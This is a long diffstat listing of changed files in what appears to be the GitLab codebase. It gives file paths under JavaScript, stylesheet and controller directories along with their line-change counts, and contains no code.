-rw-r--r--app/assets/javascripts/notes/stores/mutations.js8
-rw-r--r--app/assets/javascripts/packages/details/components/app.vue79
-rw-r--r--app/assets/javascripts/packages/details/components/package_files.vue107
-rw-r--r--app/assets/javascripts/packages/details/components/package_history.vue121
-rw-r--r--app/assets/javascripts/packages/details/constants.js2
-rw-r--r--app/assets/javascripts/packages/list/constants.js4
-rw-r--r--app/assets/javascripts/packages/shared/constants.js1
-rw-r--r--app/assets/javascripts/packages/shared/utils.js3
-rw-r--r--app/assets/javascripts/pager.js1
-rw-r--r--app/assets/javascripts/pages/admin/application_settings/index.js2
-rw-r--r--app/assets/javascripts/pages/admin/users/components/user_modal_manager.vue18
-rw-r--r--app/assets/javascripts/pages/admin/users/components/user_operation_confirmation_modal.vue71
-rw-r--r--app/assets/javascripts/pages/admin/users/index.js14
-rw-r--r--app/assets/javascripts/pages/groups/group_members/index.js62
-rw-r--r--app/assets/javascripts/pages/import/bitbucket/status/index.js4
-rw-r--r--app/assets/javascripts/pages/import/bitbucket_server/status/components/bitbucket_server_status_table.vue2
-rw-r--r--app/assets/javascripts/pages/import/bitbucket_server/status/index.js2
-rw-r--r--app/assets/javascripts/pages/import/bulk_imports/index.js4
-rw-r--r--app/assets/javascripts/pages/import/fogbugz/status/index.js2
-rw-r--r--app/assets/javascripts/pages/import/gitea/status/index.js2
-rw-r--r--app/assets/javascripts/pages/import/github/status/index.js2
-rw-r--r--app/assets/javascripts/pages/import/gitlab/status/index.js2
-rw-r--r--app/assets/javascripts/pages/import/manifest/status/index.js2
-rw-r--r--app/assets/javascripts/pages/profiles/accounts/show/index.js3
-rw-r--r--app/assets/javascripts/pages/profiles/two_factor_auths/index.js5
-rw-r--r--app/assets/javascripts/pages/projects/blob/show/index.js56
-rw-r--r--app/assets/javascripts/pages/projects/commit/pipelines/index.js7
-rw-r--r--app/assets/javascripts/pages/projects/commit/show/index.js52
-rw-r--r--app/assets/javascripts/pages/projects/commits/show/index.js11
-rw-r--r--app/assets/javascripts/pages/projects/forks/new/components/fork_groups_list.vue1
-rw-r--r--app/assets/javascripts/pages/projects/issues/show.js3
-rw-r--r--app/assets/javascripts/pages/projects/jobs/index/index.js10
-rw-r--r--app/assets/javascripts/pages/projects/merge_requests/init_merge_request_show.js2
-rw-r--r--app/assets/javascripts/pages/projects/new/index.js52
-rw-r--r--app/assets/javascripts/pages/projects/pipelines/index/index.js61
-rw-r--r--app/assets/javascripts/pages/projects/project.js40
-rw-r--r--app/assets/javascripts/pages/projects/settings/access_tokens/index.js2
-rw-r--r--app/assets/javascripts/pages/projects/settings/ci_cd/show/index.js5
-rw-r--r--app/assets/javascripts/pages/projects/settings/repository/create_deploy_token/index.js2
-rw-r--r--app/assets/javascripts/pages/projects/shared/permissions/components/project_feature_setting.vue6
-rw-r--r--app/assets/javascripts/pages/projects/shared/permissions/components/settings_panel.vue42
-rw-r--r--app/assets/javascripts/pages/projects/show/index.js4
-rw-r--r--app/assets/javascripts/pages/search/show/index.js4
-rw-r--r--app/assets/javascripts/pages/search/show/search.js65
-rw-r--r--app/assets/javascripts/performance/constants.js21
-rw-r--r--app/assets/javascripts/performance_bar/index.js19
-rw-r--r--app/assets/javascripts/persistent_user_callouts.js1
-rw-r--r--app/assets/javascripts/pipeline_editor/components/commit/commit_form.vue139
-rw-r--r--app/assets/javascripts/pipeline_editor/components/lint/ci_lint_results.vue143
-rw-r--r--app/assets/javascripts/pipeline_editor/components/lint/ci_lint_results_param.vue (renamed from app/assets/javascripts/ci_lint/components/ci_lint_results_param.vue)0
-rw-r--r--app/assets/javascripts/pipeline_editor/components/lint/ci_lint_results_value.vue (renamed from app/assets/javascripts/ci_lint/components/ci_lint_results_value.vue)0
-rw-r--r--app/assets/javascripts/pipeline_editor/components/lint/ci_lint_warnings.vue (renamed from app/assets/javascripts/ci_lint/components/ci_lint_warnings.vue)0
-rw-r--r--app/assets/javascripts/pipeline_editor/components/text_editor.vue14
-rw-r--r--app/assets/javascripts/pipeline_editor/constants.js2
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/mutations/commit_ci_file.mutation.graphql26
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/mutations/lint_ci.mutation.graphql (renamed from app/assets/javascripts/ci_lint/graphql/mutations/lint_ci.mutation.graphql)0
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/queries/ci_config.graphql11
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/resolvers.js31
-rw-r--r--app/assets/javascripts/pipeline_editor/index.js12
-rw-r--r--app/assets/javascripts/pipeline_editor/pipeline_editor_app.vue246
-rw-r--r--app/assets/javascripts/pipeline_new/components/pipeline_new_form.vue164
-rw-r--r--app/assets/javascripts/pipeline_new/constants.js3
-rw-r--r--app/assets/javascripts/pipeline_new/index.js12
-rw-r--r--app/assets/javascripts/pipeline_new/utils/format_refs.js18
-rw-r--r--app/assets/javascripts/pipelines/components/graph/accessors.js25
-rw-r--r--app/assets/javascripts/pipelines/components/graph/action_component.vue4
-rw-r--r--app/assets/javascripts/pipelines/components/graph/constants.js3
-rw-r--r--app/assets/javascripts/pipelines/components/graph/graph_component.vue270
-rw-r--r--app/assets/javascripts/pipelines/components/graph/graph_component_legacy.vue265
-rw-r--r--app/assets/javascripts/pipelines/components/graph/graph_component_wrapper.vue106
-rw-r--r--app/assets/javascripts/pipelines/components/graph/job_group_dropdown.vue19
-rw-r--r--app/assets/javascripts/pipelines/components/graph/job_item.vue32
-rw-r--r--app/assets/javascripts/pipelines/components/graph/job_name_component.vue12
-rw-r--r--app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue70
-rw-r--r--app/assets/javascripts/pipelines/components/graph/linked_pipelines_column.vue139
-rw-r--r--app/assets/javascripts/pipelines/components/graph/linked_pipelines_column_legacy.vue87
-rw-r--r--app/assets/javascripts/pipelines/components/graph/stage_column_component.vue118
-rw-r--r--app/assets/javascripts/pipelines/components/graph/stage_column_component_legacy.vue108
-rw-r--r--app/assets/javascripts/pipelines/components/graph/utils.js57
-rw-r--r--app/assets/javascripts/pipelines/components/graph_shared/linked_graph_wrapper.vue7
-rw-r--r--app/assets/javascripts/pipelines/components/graph_shared/main_graph_wrapper.vue32
-rw-r--r--app/assets/javascripts/pipelines/components/header_component.vue1
-rw-r--r--app/assets/javascripts/pipelines/components/pipeline_graph/drawing_utils.js10
-rw-r--r--app/assets/javascripts/pipelines/components/pipeline_graph/gitlab_ci_yaml_visualization.vue76
-rw-r--r--app/assets/javascripts/pipelines/components/pipeline_graph/job_pill.vue8
-rw-r--r--app/assets/javascripts/pipelines/components/pipeline_graph/pipeline_graph.vue109
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/empty_state.vue13
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/pipeline_url.vue43
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/pipelines.vue4
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/pipelines_actions.vue2
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/time_ago.vue4
-rw-r--r--app/assets/javascripts/pipelines/components/test_reports/test_suite_table.vue26
-rw-r--r--app/assets/javascripts/pipelines/components/unwrapping_utils.js53
-rw-r--r--app/assets/javascripts/pipelines/constants.js2
-rw-r--r--app/assets/javascripts/pipelines/graphql/fragments/linked_pipelines.fragment.graphql17
-rw-r--r--app/assets/javascripts/pipelines/graphql/queries/get_pipeline_details.query.graphql65
-rw-r--r--app/assets/javascripts/pipelines/graphql/queries/get_pipeline_header_data.query.graphql1
-rw-r--r--app/assets/javascripts/pipelines/graphql/queries/pipeline_stages_connection.fragment.graphql20
-rw-r--r--app/assets/javascripts/pipelines/mixins/graph_width_mixin.js50
-rw-r--r--app/assets/javascripts/pipelines/pipeline_details_bundle.js10
-rw-r--r--app/assets/javascripts/pipelines/pipeline_details_graph.js38
-rw-r--r--app/assets/javascripts/pipelines/pipelines_index.js75
-rw-r--r--app/assets/javascripts/pipelines/stores/test_reports/actions.js1
-rw-r--r--app/assets/javascripts/pipelines/stores/test_reports/getters.js7
-rw-r--r--app/assets/javascripts/pipelines/stores/test_reports/mutation_types.js1
-rw-r--r--app/assets/javascripts/pipelines/stores/test_reports/mutations.js8
-rw-r--r--app/assets/javascripts/pipelines/stores/test_reports/state.js4
-rw-r--r--app/assets/javascripts/pipelines/utils.js87
-rw-r--r--app/assets/javascripts/project_find_file.js1
-rw-r--r--app/assets/javascripts/project_select.js196
-rw-r--r--app/assets/javascripts/project_select_combo_button.js12
-rw-r--r--app/assets/javascripts/projects/default_project_templates.js4
-rw-r--r--app/assets/javascripts/projects/default_sample_data_templates.js12
-rw-r--r--app/assets/javascripts/projects/experiment_new_project_creation/components/app.vue6
-rw-r--r--app/assets/javascripts/projects/pipelines/charts/components/app.vue234
-rw-r--r--app/assets/javascripts/projects/pipelines/charts/components/app_legacy.vue151
-rw-r--r--app/assets/javascripts/projects/pipelines/charts/components/statistics_list.vue7
-rw-r--r--app/assets/javascripts/projects/pipelines/charts/constants.js6
-rw-r--r--app/assets/javascripts/projects/pipelines/charts/graphql/queries/get_pipeline_count_by_status.query.graphql14
-rw-r--r--app/assets/javascripts/projects/pipelines/charts/graphql/queries/get_project_pipeline_statistics.query.graphql17
-rw-r--r--app/assets/javascripts/projects/pipelines/charts/index.js63
-rw-r--r--app/assets/javascripts/projects/project_new.js7
-rw-r--r--app/assets/javascripts/projects/settings/access_dropdown.js7
-rw-r--r--app/assets/javascripts/projects/settings/components/shared_runners_toggle.vue79
-rw-r--r--app/assets/javascripts/projects/settings/mount_shared_runners_toggle.js21
-rw-r--r--app/assets/javascripts/projects/settings_service_desk/components/service_desk_root.vue5
-rw-r--r--app/assets/javascripts/projects/settings_service_desk/components/service_desk_setting.vue6
-rw-r--r--app/assets/javascripts/projects/settings_service_desk/index.js2
-rw-r--r--app/assets/javascripts/registry/explorer/components/details_page/details_header.vue36
-rw-r--r--app/assets/javascripts/registry/explorer/components/details_page/tags_list.vue2
-rw-r--r--app/assets/javascripts/registry/explorer/components/details_page/tags_list_row.vue14
-rw-r--r--app/assets/javascripts/registry/explorer/components/list_page/cli_commands.vue5
-rw-r--r--app/assets/javascripts/registry/explorer/components/list_page/group_empty_state.vue5
-rw-r--r--app/assets/javascripts/registry/explorer/components/list_page/image_list.vue33
-rw-r--r--app/assets/javascripts/registry/explorer/components/list_page/image_list_row.vue34
-rw-r--r--app/assets/javascripts/registry/explorer/components/list_page/project_empty_state.vue6
-rw-r--r--app/assets/javascripts/registry/explorer/components/registry_breadcrumb.vue21
-rw-r--r--app/assets/javascripts/registry/explorer/constants/details.js2
-rw-r--r--app/assets/javascripts/registry/explorer/constants/list.js5
-rw-r--r--app/assets/javascripts/registry/explorer/graphql/fragments/container_repository.fragment.graphql11
-rw-r--r--app/assets/javascripts/registry/explorer/graphql/index.js14
-rw-r--r--app/assets/javascripts/registry/explorer/graphql/mutations/delete_container_repository.mutation.graphql9
-rw-r--r--app/assets/javascripts/registry/explorer/graphql/mutations/delete_container_repository_tags.mutation.graphql5
-rw-r--r--app/assets/javascripts/registry/explorer/graphql/queries/get_container_repository_details.query.graphql41
-rw-r--r--app/assets/javascripts/registry/explorer/graphql/queries/get_group_container_repositories.query.graphql23
-rw-r--r--app/assets/javascripts/registry/explorer/graphql/queries/get_project_container_repositories.query.graphql23
-rw-r--r--app/assets/javascripts/registry/explorer/index.js37
-rw-r--r--app/assets/javascripts/registry/explorer/pages/details.vue177
-rw-r--r--app/assets/javascripts/registry/explorer/pages/index.vue4
-rw-r--r--app/assets/javascripts/registry/explorer/pages/list.vue133
-rw-r--r--app/assets/javascripts/registry/explorer/router.js4
-rw-r--r--app/assets/javascripts/registry/explorer/stores/actions.js119
-rw-r--r--app/assets/javascripts/registry/explorer/stores/getters.js18
-rw-r--r--app/assets/javascripts/registry/explorer/stores/index.js16
-rw-r--r--app/assets/javascripts/registry/explorer/stores/mutation_types.js10
-rw-r--r--app/assets/javascripts/registry/explorer/stores/mutations.js54
-rw-r--r--app/assets/javascripts/registry/explorer/stores/state.js10
-rw-r--r--app/assets/javascripts/registry/explorer/utils.js25
-rw-r--r--app/assets/javascripts/registry/settings/components/expiration_dropdown.vue50
-rw-r--r--app/assets/javascripts/registry/settings/components/expiration_input.vue110
-rw-r--r--app/assets/javascripts/registry/settings/components/expiration_run_text.vue46
-rw-r--r--app/assets/javascripts/registry/settings/components/expiration_toggle.vue52
-rw-r--r--app/assets/javascripts/registry/settings/components/registry_settings_app.vue13
-rw-r--r--app/assets/javascripts/registry/settings/components/settings_form.vue237
-rw-r--r--app/assets/javascripts/registry/settings/constants.js81
-rw-r--r--app/assets/javascripts/registry/settings/graphql/fragments/container_expiration_policy.fragment.graphql1
-rw-r--r--app/assets/javascripts/registry/settings/graphql/mutations/update_container_expiration_policy.mutation.graphql (renamed from app/assets/javascripts/registry/settings/graphql/mutations/update_container_expiration_policy.graphql)0
-rw-r--r--app/assets/javascripts/registry/settings/graphql/queries/get_expiration_policy.query.graphql (renamed from app/assets/javascripts/registry/settings/graphql/queries/get_expiration_policy.graphql)0
-rw-r--r--app/assets/javascripts/registry/settings/graphql/utils/cache_update.js2
-rw-r--r--app/assets/javascripts/registry/settings/registry_settings_bundle.js13
-rw-r--r--app/assets/javascripts/registry/settings/utils.js26
-rw-r--r--app/assets/javascripts/registry/shared/components/expiration_policy_fields.vue258
-rw-r--r--app/assets/javascripts/registry/shared/constants.js69
-rw-r--r--app/assets/javascripts/registry/shared/utils.js46
-rw-r--r--app/assets/javascripts/related_issues/components/issue_token.vue2
-rw-r--r--app/assets/javascripts/related_issues/components/related_issuable_input.vue2
-rw-r--r--app/assets/javascripts/related_issues/components/related_issues_root.vue11
-rw-r--r--app/assets/javascripts/reports/components/report_section.vue8
-rw-r--r--app/assets/javascripts/reports/components/test_issue_body.vue30
-rw-r--r--app/assets/javascripts/reports/constants.js14
-rw-r--r--app/assets/javascripts/reports/store/utils.js13
-rw-r--r--app/assets/javascripts/repository/components/preview/index.vue2
-rw-r--r--app/assets/javascripts/right_sidebar.js3
-rw-r--r--app/assets/javascripts/search/group_filter/components/group_filter.vue124
-rw-r--r--app/assets/javascripts/search/group_filter/constants.js10
-rw-r--r--app/assets/javascripts/search/group_filter/index.js28
-rw-r--r--app/assets/javascripts/search/index.js4
-rw-r--r--app/assets/javascripts/search/sidebar/components/app.vue2
-rw-r--r--app/assets/javascripts/search/store/actions.js22
-rw-r--r--app/assets/javascripts/search/store/mutation_types.js4
-rw-r--r--app/assets/javascripts/search/store/mutations.js11
-rw-r--r--app/assets/javascripts/search/store/state.js2
-rw-r--r--app/assets/javascripts/search/topbar/components/group_filter.vue49
-rw-r--r--app/assets/javascripts/search/topbar/components/project_filter.vue52
-rw-r--r--app/assets/javascripts/search/topbar/components/searchable_dropdown.vue144
-rw-r--r--app/assets/javascripts/search/topbar/constants.js21
-rw-r--r--app/assets/javascripts/search/topbar/index.js44
-rw-r--r--app/assets/javascripts/search_autocomplete.js4
-rw-r--r--app/assets/javascripts/set_status_modal/set_status_modal_wrapper.vue5
-rw-r--r--app/assets/javascripts/settings_panels.js1
-rw-r--r--app/assets/javascripts/sidebar/components/assignees/assignee_avatar.vue6
-rw-r--r--app/assets/javascripts/sidebar/components/assignees/assignee_title.vue2
-rw-r--r--app/assets/javascripts/sidebar/components/assignees/collapsed_assignee_list.vue7
-rw-r--r--app/assets/javascripts/sidebar/components/assignees/issuable_assignees.vue14
-rw-r--r--app/assets/javascripts/sidebar/components/confidential/confidential_issue_sidebar.vue11
-rw-r--r--app/assets/javascripts/sidebar/components/labels/sidebar_labels.vue2
-rw-r--r--app/assets/javascripts/sidebar/components/reviewers/collapsed_reviewer_list.vue7
-rw-r--r--app/assets/javascripts/sidebar/components/reviewers/reviewer_avatar.vue6
-rw-r--r--app/assets/javascripts/sidebar/components/reviewers/reviewer_title.vue2
-rw-r--r--app/assets/javascripts/sidebar/components/subscriptions/subscriptions.vue7
-rw-r--r--app/assets/javascripts/sidebar/components/todo_toggle/todo.vue14
-rw-r--r--app/assets/javascripts/single_file_diff.js18
-rw-r--r--app/assets/javascripts/smart_interval.js1
-rw-r--r--app/assets/javascripts/sourcegraph/index.js2
-rw-r--r--app/assets/javascripts/static_site_editor/components/edit_area.vue6
-rw-r--r--app/assets/javascripts/static_site_editor/constants.js11
-rw-r--r--app/assets/javascripts/static_site_editor/graphql/resolvers/submit_content_changes.js13
-rw-r--r--app/assets/javascripts/static_site_editor/pages/home.vue5
-rw-r--r--app/assets/javascripts/static_site_editor/services/submit_content_changes.js43
-rw-r--r--app/assets/javascripts/terminal/terminal.js2
-rw-r--r--app/assets/javascripts/terraform/components/states_table.vue122
-rw-r--r--app/assets/javascripts/terraform/components/states_table_actions.vue192
-rw-r--r--app/assets/javascripts/terraform/components/terraform_list.vue58
-rw-r--r--app/assets/javascripts/terraform/graphql/fragments/state_version.fragment.graphql17
-rw-r--r--app/assets/javascripts/terraform/graphql/mutations/lock_state.mutation.graphql5
-rw-r--r--app/assets/javascripts/terraform/graphql/mutations/remove_state.mutation.graphql5
-rw-r--r--app/assets/javascripts/terraform/graphql/mutations/unlock_state.mutation.graphql5
-rw-r--r--app/assets/javascripts/terraform/index.js1
-rw-r--r--app/assets/javascripts/users_select/index.js238
-rw-r--r--app/assets/javascripts/version_check_image.js1
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/deployment/constants.js1
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_info.vue11
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/mr_widget_header.vue20
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/mr_widget_how_to_merge_modal.vue172
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/mr_widget_merge_help.vue18
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline_container.vue3
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/mr_widget_status_icon.vue19
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_conflicts.vue134
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_missing_branch.vue30
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/squash_before_merge.vue28
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/mr_widget_options.vue11
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/queries/permissions.query.graphql10
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/queries/states/conflicts.query.graphql8
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/queries/states/missing_branch.query.graphql7
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/stores/mr_widget_store.js6
-rw-r--r--app/assets/javascripts/vue_shared/components/awards_list.vue39
-rw-r--r--app/assets/javascripts/vue_shared/components/blob_viewers/constants.js2
-rw-r--r--app/assets/javascripts/vue_shared/components/callout.vue24
-rw-r--r--app/assets/javascripts/vue_shared/components/ci_badge_link.vue1
-rw-r--r--app/assets/javascripts/vue_shared/components/ci_icon.vue4
-rw-r--r--app/assets/javascripts/vue_shared/components/clipboard_button.vue5
-rw-r--r--app/assets/javascripts/vue_shared/components/color_picker/color_picker.vue142
-rw-r--r--app/assets/javascripts/vue_shared/components/content_viewer/viewers/image_viewer.vue18
-rw-r--r--app/assets/javascripts/vue_shared/components/content_viewer/viewers/markdown_viewer.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/date_time_picker/date_time_picker.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/date_time_picker/date_time_picker_lib.js2
-rw-r--r--app/assets/javascripts/vue_shared/components/diff_viewer/diff_viewer.vue8
-rw-r--r--app/assets/javascripts/vue_shared/components/diff_viewer/viewers/image_diff/onion_skin_viewer.vue8
-rw-r--r--app/assets/javascripts/vue_shared/components/diff_viewer/viewers/image_diff/swipe_viewer.vue8
-rw-r--r--app/assets/javascripts/vue_shared/components/diff_viewer/viewers/image_diff/two_up_viewer.vue8
-rw-r--r--app/assets/javascripts/vue_shared/components/diff_viewer/viewers/image_diff_viewer.vue16
-rw-r--r--app/assets/javascripts/vue_shared/components/dismissible_container.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/dropdown/dropdown_search_input.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/file_finder/index.vue1
-rw-r--r--app/assets/javascripts/vue_shared/components/file_row.vue1
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue14
-rw-r--r--app/assets/javascripts/vue_shared/components/gfm_autocomplete/gfm_autocomplete.vue97
-rw-r--r--app/assets/javascripts/vue_shared/components/gfm_autocomplete/utils.js142
-rw-r--r--app/assets/javascripts/vue_shared/components/gl_mentions.vue238
-rw-r--r--app/assets/javascripts/vue_shared/components/help_popover.vue8
-rw-r--r--app/assets/javascripts/vue_shared/components/lib/utils/dom_utils.js2
-rw-r--r--app/assets/javascripts/vue_shared/components/loading_button.vue61
-rw-r--r--app/assets/javascripts/vue_shared/components/markdown/apply_suggestion.vue59
-rw-r--r--app/assets/javascripts/vue_shared/components/markdown/field.vue10
-rw-r--r--app/assets/javascripts/vue_shared/components/members/action_buttons/leave_button.vue40
-rw-r--r--app/assets/javascripts/vue_shared/components/members/action_buttons/user_action_buttons.vue70
-rw-r--r--app/assets/javascripts/vue_shared/components/members/avatars/group_avatar.vue34
-rw-r--r--app/assets/javascripts/vue_shared/components/members/avatars/invite_avatar.vue32
-rw-r--r--app/assets/javascripts/vue_shared/components/members/avatars/user_avatar.vue91
-rw-r--r--app/assets/javascripts/vue_shared/components/members/constants.js71
-rw-r--r--app/assets/javascripts/vue_shared/components/members/modals/leave_modal.vue70
-rw-r--r--app/assets/javascripts/vue_shared/components/members/modals/remove_group_link_modal.vue69
-rw-r--r--app/assets/javascripts/vue_shared/components/members/table/expires_at.vue66
-rw-r--r--app/assets/javascripts/vue_shared/components/members/table/member_action_buttons.vue57
-rw-r--r--app/assets/javascripts/vue_shared/components/members/table/members_table.vue158
-rw-r--r--app/assets/javascripts/vue_shared/components/members/table/members_table_cell.vue65
-rw-r--r--app/assets/javascripts/vue_shared/components/members/table/role_dropdown.vue95
-rw-r--r--app/assets/javascripts/vue_shared/components/members/utils.js48
-rw-r--r--app/assets/javascripts/vue_shared/components/notes/noteable_warning.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/pikaday.vue6
-rw-r--r--app/assets/javascripts/vue_shared/components/rich_content_editor/rich_content_editor.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/select2_select.vue13
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_header.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue10
-rw-r--r--app/assets/javascripts/vue_shared/components/tooltip_on_truncate.vue3
-rw-r--r--app/assets/javascripts/vue_shared/directives/popover.js22
-rw-r--r--app/assets/javascripts/vue_shared/security_reports/components/constants.js8
-rw-r--r--app/assets/javascripts/vue_shared/security_reports/components/help_icon.vue58
-rw-r--r--app/assets/javascripts/vue_shared/security_reports/components/security_report_download_dropdown.vue48
-rw-r--r--app/assets/javascripts/vue_shared/security_reports/components/security_summary.vue59
-rw-r--r--app/assets/javascripts/vue_shared/security_reports/constants.js29
-rw-r--r--app/assets/javascripts/vue_shared/security_reports/queries/security_report_download_paths.query.graphql23
-rw-r--r--app/assets/javascripts/vue_shared/security_reports/security_reports_app.vue275
-rw-r--r--app/assets/javascripts/vue_shared/security_reports/store/constants.js7
-rw-r--r--app/assets/javascripts/vue_shared/security_reports/store/getters.js66
-rw-r--r--app/assets/javascripts/vue_shared/security_reports/store/index.js16
-rw-r--r--app/assets/javascripts/vue_shared/security_reports/store/messages.js4
-rw-r--r--app/assets/javascripts/vue_shared/security_reports/store/state.js5
-rw-r--r--app/assets/javascripts/vue_shared/security_reports/store/utils.js78
-rw-r--r--app/assets/javascripts/vue_shared/security_reports/utils.js22
-rw-r--r--app/assets/javascripts/vuex_shared/modules/members/index.js10
-rw-r--r--app/assets/javascripts/vuex_shared/modules/members/state.js21
-rw-r--r--app/assets/javascripts/vulnerabilities/constants.js15
-rw-r--r--app/assets/javascripts/whats_new/components/app.vue130
-rw-r--r--app/assets/javascripts/whats_new/components/feature.vue67
-rw-r--r--app/assets/javascripts/whats_new/index.js20
-rw-r--r--app/assets/javascripts/whats_new/store/actions.js3
-rw-r--r--app/assets/javascripts/whats_new/utils/notification.js17
-rw-r--r--app/assets/stylesheets/_page_specific_files.scss1
-rw-r--r--app/assets/stylesheets/application.scss4
-rw-r--r--app/assets/stylesheets/bootstrap_migration.scss4
-rw-r--r--app/assets/stylesheets/components/milestone_combobox.scss11
-rw-r--r--app/assets/stylesheets/components/popover.scss111
-rw-r--r--app/assets/stylesheets/components/whats_new.scss26
-rw-r--r--app/assets/stylesheets/fontawesome_custom.scss208
-rw-r--r--app/assets/stylesheets/framework/animations.scss3
-rw-r--r--app/assets/stylesheets/framework/awards.scss108
-rw-r--r--app/assets/stylesheets/framework/blocks.scss2
-rw-r--r--app/assets/stylesheets/framework/buttons.scss47
-rw-r--r--app/assets/stylesheets/framework/common.scss5
-rw-r--r--app/assets/stylesheets/framework/diffs.scss24
-rw-r--r--app/assets/stylesheets/framework/dropdowns.scss59
-rw-r--r--app/assets/stylesheets/framework/forms.scss14
-rw-r--r--app/assets/stylesheets/framework/header.scss15
-rw-r--r--app/assets/stylesheets/framework/lists.scss2
-rw-r--r--app/assets/stylesheets/framework/mixins.scss18
-rw-r--r--app/assets/stylesheets/framework/modal.scss1
-rw-r--r--app/assets/stylesheets/framework/secondary_navigation_elements.scss8
-rw-r--r--app/assets/stylesheets/framework/selects.scss288
-rw-r--r--app/assets/stylesheets/framework/tables.scss43
-rw-r--r--app/assets/stylesheets/framework/toggle.scss8
-rw-r--r--app/assets/stylesheets/framework/typography.scss11
-rw-r--r--app/assets/stylesheets/framework/variables.scss1
-rw-r--r--app/assets/stylesheets/lazy_bundles/select2_overrides.scss22
-rw-r--r--app/assets/stylesheets/page_bundles/_pipeline_mixins.scss26
-rw-r--r--app/assets/stylesheets/page_bundles/alert_management_details.scss23
-rw-r--r--app/assets/stylesheets/page_bundles/boards.scss8
-rw-r--r--app/assets/stylesheets/page_bundles/build.scss14
-rw-r--r--app/assets/stylesheets/page_bundles/ci_status.scss35
-rw-r--r--app/assets/stylesheets/page_bundles/cycle_analytics.scss5
-rw-r--r--app/assets/stylesheets/page_bundles/import.scss81
-rw-r--r--app/assets/stylesheets/page_bundles/merge_conflicts.scss4
-rw-r--r--app/assets/stylesheets/page_bundles/oncall_schedules.scss189
-rw-r--r--app/assets/stylesheets/page_bundles/pipeline.scss67
-rw-r--r--app/assets/stylesheets/page_bundles/pipelines.scss11
-rw-r--r--app/assets/stylesheets/page_bundles/profile_two_factor_auth.scss11
-rw-r--r--app/assets/stylesheets/pages/clusters.scss16
-rw-r--r--app/assets/stylesheets/pages/commits.scss6
-rw-r--r--app/assets/stylesheets/pages/detail_page.scss6
-rw-r--r--app/assets/stylesheets/pages/editor.scss8
-rw-r--r--app/assets/stylesheets/pages/groups.scss12
-rw-r--r--app/assets/stylesheets/pages/import.scss61
-rw-r--r--app/assets/stylesheets/pages/issuable.scss49
-rw-r--r--app/assets/stylesheets/pages/issues.scss13
-rw-r--r--app/assets/stylesheets/pages/members.scss14
-rw-r--r--app/assets/stylesheets/pages/merge_requests.scss51
-rw-r--r--app/assets/stylesheets/pages/notes.scss24
-rw-r--r--app/assets/stylesheets/pages/notifications.scss6
-rw-r--r--app/assets/stylesheets/pages/pipelines.scss5
-rw-r--r--app/assets/stylesheets/pages/projects.scss38
-rw-r--r--app/assets/stylesheets/pages/runners.scss18
-rw-r--r--app/assets/stylesheets/pages/search.scss9
-rw-r--r--app/assets/stylesheets/pages/settings.scss7
-rw-r--r--app/assets/stylesheets/pages/tree.scss7
-rw-r--r--app/assets/stylesheets/startup/startup-signin.scss4
-rw-r--r--app/assets/stylesheets/themes/_dark.scss116
-rw-r--r--app/assets/stylesheets/themes/theme_helper.scss29
-rw-r--r--app/assets/stylesheets/utilities.scss27
-rw-r--r--app/controllers/admin/cohorts_controller.rb2
-rw-r--r--app/controllers/admin/dashboard_controller.rb5
-rw-r--r--app/controllers/admin/instance_review_controller.rb2
-rw-r--r--app/controllers/admin/instance_statistics_controller.rb2
-rw-r--r--app/controllers/admin/integrations_controller.rb6
-rw-r--r--app/controllers/admin/users_controller.rb10
-rw-r--r--app/controllers/application_controller.rb7
-rw-r--r--app/controllers/boards/lists_controller.rb8
-rw-r--r--app/controllers/concerns/dependency_proxy/auth.rb43
-rw-r--r--app/controllers/concerns/dependency_proxy/group_access.rb26
-rw-r--r--app/controllers/concerns/dependency_proxy_access.rb24
-rw-r--r--app/controllers/concerns/integrations_actions.rb11
-rw-r--r--app/controllers/concerns/issuable_collections.rb2
-rw-r--r--app/controllers/concerns/service_params.rb3
-rw-r--r--app/controllers/concerns/snippets_actions.rb3
-rw-r--r--app/controllers/concerns/sorting_preference.rb27
-rw-r--r--app/controllers/concerns/wiki_actions.rb28
-rw-r--r--app/controllers/concerns/workhorse_authorization.rb43
-rw-r--r--app/controllers/concerns/workhorse_import_export_upload.rb33
-rw-r--r--app/controllers/dashboard/projects_controller.rb2
-rw-r--r--app/controllers/explore/projects_controller.rb2
-rw-r--r--app/controllers/graphql_controller.rb6
-rw-r--r--app/controllers/groups/application_controller.rb13
-rw-r--r--app/controllers/groups/boards_controller.rb1
-rw-r--r--app/controllers/groups/children_controller.rb10
-rw-r--r--app/controllers/groups/dependency_proxies_controller.rb2
